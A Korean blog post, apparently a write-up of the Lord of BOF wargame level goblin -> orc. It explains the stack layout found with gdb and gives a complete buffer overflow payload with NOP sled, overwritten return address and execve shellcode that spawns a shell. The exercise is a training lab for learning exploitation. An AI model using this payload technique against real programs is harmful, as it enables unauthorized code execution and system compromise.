ii4gsp
LOB - Level4 [goblin -> orc] 본문
memset() 함수로 환경변수 메모리를 초기화 시켜 쉘코드를 환경변수에 등록하여 문제를 푸는건 불가능하다.
argv 48번째 바이트가 \xbf가 아니라면 프로그램이 종료된다.
gdb로 분석해보면 스택의 구조는
i
_______
buffer
________
SFP
________
RET
ret의 주소를 구하기 위해 strcpy() 함수 호출 바로 다음부분인 <main+194>에 break point를 걸었다.
ret의 주소를 0xbffffab4로 잡고 페이로드를 작성하였다.
payload
./orc $(python -c 'print "\x90" * 44 + "\xb4\xfa\xff\xbf" + "\x90" * 100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"')
'시스템 해킹 > LOB' 카테고리의 다른 글
LOB - Level6 [wolfman -> darkelf] (0) | 2020.01.14 |
---|---|
LOB - Level5 [orc -> wolfman] (0) | 2020.01.14 |
LOB - Level3 [cobolt -> goblin] (0) | 2020.01.13 |
LOB - Level2 [gremlin -> cobolt] (0) | 2020.01.13 |
LOB - Level1 [gate -> gremlin] (0) | 2020.01.13 |
Comments